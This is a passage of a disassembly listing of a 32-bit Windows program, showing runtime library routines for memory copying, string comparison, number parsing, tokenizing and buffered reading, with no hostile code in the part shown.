		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4183E4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4183EC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4183FF:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0:off_41839Co
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418408	dd offset loc_418418	; DATA XREF: sub_4182C0+35r
					; sub_4182C0+92r ...
		dd offset loc_418420
		dd offset loc_41842C
		dd offset loc_418440
; ---------------------------------------------------------------------------

loc_418418:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418420:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41842C:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418440:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_418458:				; CODE XREF: sub_4182C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41848C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_418480:				; CODE XREF: sub_4182C0+1B1j
					; sub_4182C0+208j ...
		neg	ecx
		jmp	off_418550[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41848C:				; CODE XREF: sub_4182C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4184A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------

loc_4184A4:				; CODE XREF: sub_4182C0+1D6j
					; DATA XREF: sub_4182C0+1DDr
		jmp	off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx+eax*2+41850000h]

loc_4184B7:				; DATA XREF: sub_4182C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418554
		dd offset loc_41855C
		dd offset loc_418564
		dd offset loc_41856C
		dd offset loc_418574
		dd offset loc_41857C
		dd offset loc_418584
off_418550	dd offset loc_418597	; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------

loc_418554:				; DATA XREF: sub_4182C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41855C:				; DATA XREF: sub_4182C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_418564:				; DATA XREF: sub_4182C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41856C:				; DATA XREF: sub_4182C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_418574:				; DATA XREF: sub_4182C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41857C:				; DATA XREF: sub_4182C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_418584:				; DATA XREF: sub_4182C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_418597:				; CODE XREF: sub_4182C0+1C2j
					; DATA XREF: sub_4182C0:off_418550o
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4185A0	dd offset loc_4185B0	; DATA XREF: sub_4182C0+1B7r
					; sub_4182C0:loc_4184A4r ...
		dd offset loc_4185B8
		dd offset loc_4185C8
		dd offset loc_4185DC
; ---------------------------------------------------------------------------

loc_4185B0:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185B8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185C8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185DC:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185F5	proc near		; CODE XREF: sub_40473F+34p
					; sub_40473F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_4185F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418603	proc near		; CODE XREF: sub_418670+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4CF03C
		call	sub_41D5A8
		mov	edx, dword_4CF03C
		pop	ecx
		mov	ecx, dword_4CF038
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418662
		push	edx
		call	sub_41D5A8
		add	eax, 10h
		push	eax
		push	dword_4CF03C
		call	sub_41944F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418645
		retn
; ---------------------------------------------------------------------------

loc_418645:				; CODE XREF: sub_418603+3Fj
		mov	ecx, dword_4CF038
		sub	ecx, dword_4CF03C
		mov	dword_4CF03C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4CF038, ecx

loc_418662:				; CODE XREF: sub_418603+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4CF038, 4
		retn
sub_418603	endp


; =============== S U B	R O U T	I N E =======================================



sub_418670	proc near		; CODE XREF: sub_40482C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418603
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418670	endp


; =============== S U B	R O U T	I N E =======================================



sub_418682	proc near		; DATA XREF: ___:00426018o
		push	80h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	dword_4CF03C, eax
		jnz	short loc_4186A3
		push	18h
		call	sub_419CDA
		mov	eax, dword_4CF03C
		pop	ecx

loc_4186A3:				; CODE XREF: sub_418682+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4CF03C
		mov	dword_4CF038, eax
		retn
sub_418682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B1	proc near		; CODE XREF: ___:00404AFFp
					; sub_4053D5+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2620514h
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2830000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4CD9AA
		jnz	short loc_418716
		mov	ax, [ebp+var_18]
		cmp	ax, word_4CD9A8
		jnz	short loc_418716
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4CD9A6
		jnz	short loc_418716
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4CD9A2
		jnz	short loc_418716
		mov	ax, [ebp+var_20]
		cmp	ax, word_4CD9A0
		jnz	short loc_418716
		mov	eax, dword_4CD998
		jmp	short loc_41875B
; ---------------------------------------------------------------------------

loc_418716:				; CODE XREF: sub_4186B1+28j
					; sub_4186B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2820000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418743
		cmp	eax, 2
		jnz	short loc_41873F
		cmp	[ebp+var_32], 0
		jz	short loc_41873F
		cmp	[ebp+var_24], 0
		jz	short loc_41873F
		push	1
		pop	eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_41873F:				; CODE XREF: sub_4186B1+7Aj
					; sub_4186B1+81j ...
		xor	eax, eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_418743:				; CODE XREF: sub_4186B1+75j
		or	eax, 0FFFFFFFFh

loc_418746:				; CODE XREF: sub_4186B1+8Cj
					; sub_4186B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4CD9A0
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4CD998, eax
		pop	esi

loc_41875B:				; CODE XREF: sub_4186B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D609
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41878B
		mov	[ecx], eax

locret_41878B:				; CODE XREF: sub_4186B1+D6j
		leave
		retn
sub_4186B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418790	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4CDA40
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4187E3
		mov	al, 0FFh
		mov	edi, edi

loc_4187AC:				; CODE XREF: sub_418790+28j
					; sub_418790+48j
		or	al, al
		jz	short loc_4187DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4187AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4187AC
		sbb	al, al
		sbb	al, 0FFh

loc_4187DE:				; CODE XREF: sub_418790+1Ej
		movsx	eax, al
		jmp	short loc_418817
; ---------------------------------------------------------------------------

loc_4187E3:				; CODE XREF: sub_418790+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_4187EC:				; CODE XREF: sub_418790+68j
					; sub_418790+80j
		or	al, al
		jz	short loc_418817
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4187EC
		push	eax
		push	ebx
		call	sub_419101
		mov	ebx, eax
		add	esp, 4
		call	sub_419101
		add	esp, 4
		cmp	bl, al
		jz	short loc_4187EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_418817:				; CODE XREF: sub_418790+51j
					; sub_418790+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418790	endp


; =============== S U B	R O U T	I N E =======================================



sub_41881C	proc near		; CODE XREF: ___:0041ACB7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_41881C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418833	proc near		; CODE XREF: sub_41881C+Ep
					; sub_418A3B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41884B:				; CODE XREF: sub_418833+46j
		cmp	dword_433E7C, 1
		jle	short loc_418863
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418872
; ---------------------------------------------------------------------------

loc_418863:				; CODE XREF: sub_418833+1Fj
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_418872:				; CODE XREF: sub_418833+2Ej
		test	eax, eax
		jz	short loc_41887B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41884B
; ---------------------------------------------------------------------------

loc_41887B:				; CODE XREF: sub_418833+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418889
		or	[ebp+arg_C], 2
		jmp	short loc_41888E
; ---------------------------------------------------------------------------

loc_418889:				; CODE XREF: sub_418833+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418894

loc_41888E:				; CODE XREF: sub_418833+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_418894:				; CODE XREF: sub_418833+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418A2B
		cmp	eax, 1
		jz	loc_418A2B
		cmp	eax, 24h
		jg	loc_418A2B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4188DC
		cmp	bl, 30h
		jz	short loc_4188C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------

loc_4188C6:				; CODE XREF: sub_418833+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188D9
		cmp	al, 58h
		jz	short loc_4188D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_418833+97j
					; sub_418833+9Bj
		mov	[ebp+arg_8], ecx

loc_4188DC:				; CODE XREF: sub_418833+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4188F8
		cmp	bl, 30h
		jnz	short loc_4188F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188F0
		cmp	al, 58h
		jnz	short loc_4188F8

loc_4188F0:				; CODE XREF: sub_418833+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_4188F8:				; CODE XREF: sub_418833+91j
					; sub_418833+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_418908:				; CODE XREF: sub_418833+16Cj
		cmp	dword_433E7C, 1
		movzx	esi, bl
		jle	short loc_418920
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41892B
; ---------------------------------------------------------------------------

loc_418920:				; CODE XREF: sub_418833+DFj
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41892B:				; CODE XREF: sub_418833+EBj
		test	eax, eax
		jz	short loc_418937
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418969
; ---------------------------------------------------------------------------

loc_418937:				; CODE XREF: sub_418833+FAj
		cmp	dword_433E7C, 1
		jle	short loc_41894B
		push	edi
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418956
; ---------------------------------------------------------------------------

loc_41894B:				; CODE XREF: sub_418833+10Bj
		mov	eax, off_433C70
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_418956:				; CODE XREF: sub_418833+116j
		test	eax, eax
		jz	short loc_4189A4
		movsx	eax, bl
		push	eax
		call	sub_41D6CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_418969:				; CODE XREF: sub_418833+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4189A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41898E
		jnz	short loc_418988
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41898E

loc_418988:				; CODE XREF: sub_418833+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418997
; ---------------------------------------------------------------------------

loc_41898E:				; CODE XREF: sub_418833+145j
					; sub_418833+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_418997:				; CODE XREF: sub_418833+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418908
; ---------------------------------------------------------------------------

loc_4189A4:				; CODE XREF: sub_418833+125j
					; sub_418833+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4189C2
		test	edx, edx
		jz	short loc_4189BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_4189BC:				; CODE XREF: sub_418833+181j
		and	[ebp+var_8], 0
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------

loc_4189C2:				; CODE XREF: sub_418833+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4189E8
		test	cl, 1
		jnz	short loc_418A0F
		and	ecx, 2
		jz	short loc_4189DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4189E8

loc_4189DF:				; CODE XREF: sub_418833+1A1j
		test	ecx, ecx
		jnz	short loc_418A0F
		cmp	[ebp+var_8], eax
		jbe	short loc_418A0F

loc_4189E8:				; CODE XREF: sub_418833+197j
					; sub_418833+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4CD9B4, 22h
		jz	short loc_4189FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------

loc_4189FE:				; CODE XREF: sub_418833+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_418A0F:				; CODE XREF: sub_418833+18Dj
					; sub_418833+19Cj ...
		test	edx, edx
		jz	short loc_418A18
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_418A18:				; CODE XREF: sub_418833+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418A26
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_418A26:				; CODE XREF: sub_418833+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418A36
; ---------------------------------------------------------------------------

loc_418A2B:				; CODE XREF: sub_418833+66j
					; sub_418833+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418A34
		mov	[eax], edi

loc_418A34:				; CODE XREF: sub_418833+1FDj
		xor	eax, eax

loc_418A36:				; CODE XREF: sub_418833+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418833	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A3B	proc near		; CODE XREF: sub_4053D5+4BDp
					; sub_40EE72+3773p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_418A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A52	proc near		; CODE XREF: sub_4053D5+266p
					; sub_4053D5+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D797
		add	esp, 10h
		leave
		retn
sub_418A52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A86	proc near		; CODE XREF: sub_405A58+4Ep
					; sub_406C19+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418AAA
		xor	eax, eax
		jmp	loc_418B53
; ---------------------------------------------------------------------------

loc_418AAA:				; CODE XREF: sub_418A86+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418ABD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------

loc_418ABD:				; CODE XREF: sub_418A86+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------

loc_418AC6:				; CODE XREF: sub_418A86+C4j
		mov	ecx, [ebp+arg_0]

loc_418AC9:				; CODE XREF: sub_418A86+35j
					; sub_418A86+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_418AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_418AE0
		mov	edi, eax

loc_418AE0:				; CODE XREF: sub_418A86+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417390
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418B46
; ---------------------------------------------------------------------------

loc_418AFB:				; CODE XREF: sub_418A86+49j
					; sub_418A86+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_418B2E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418B11
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_418B11:				; CODE XREF: sub_418A86+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B5E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418B46
; ---------------------------------------------------------------------------

loc_418B2E:				; CODE XREF: sub_418A86+78j
		push	esi
		call	sub_41E248
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418B62
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_418B46:				; CODE XREF: sub_418A86+73j
					; sub_418A86+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418AC6
		mov	eax, [ebp+arg_8]

loc_418B53:				; CODE XREF: sub_418A86+1Fj
					; sub_418A86+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_418B58:				; CODE XREF: sub_418A86+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418B62
; ---------------------------------------------------------------------------

loc_418B5E:				; CODE XREF: sub_418A86+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_418B62:				; CODE XREF: sub_418A86+B2j
					; sub_418A86+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418B53
sub_418A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6E	proc near		; CODE XREF: sub_405AF2+2B2p
					; sub_4060D0+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_418B87:				; CODE XREF: sub_418B6E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418B87
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418BAF
		mov	edx, dword_4CD9B0

loc_418BAF:				; CODE XREF: sub_418B6E+39j
					; sub_418B6E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418BCF
		test	al, al
		jz	short loc_418BCF
		inc	edx
		jmp	short loc_418BAF
; ---------------------------------------------------------------------------

loc_418BCF:				; CODE XREF: sub_418B6E+58j
					; sub_418B6E+5Cj
		mov	ebx, edx

loc_418BD1:				; CODE XREF: sub_418B6E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418BF5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418BF1
		inc	edx
		jmp	short loc_418BD1
; ---------------------------------------------------------------------------

loc_418BF1:				; CODE XREF: sub_418B6E+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_418BF5:				; CODE XREF: sub_418B6E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4CD9B0, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418B6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_406387+1B6p
					; sub_407252+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418C93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418C34
		shr	ecx, 2
		jnz	short loc_418CA1
		jmp	short loc_418C55
; ---------------------------------------------------------------------------

loc_418C34:				; CODE XREF: sub_418C10+1Bj
					; sub_418C10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
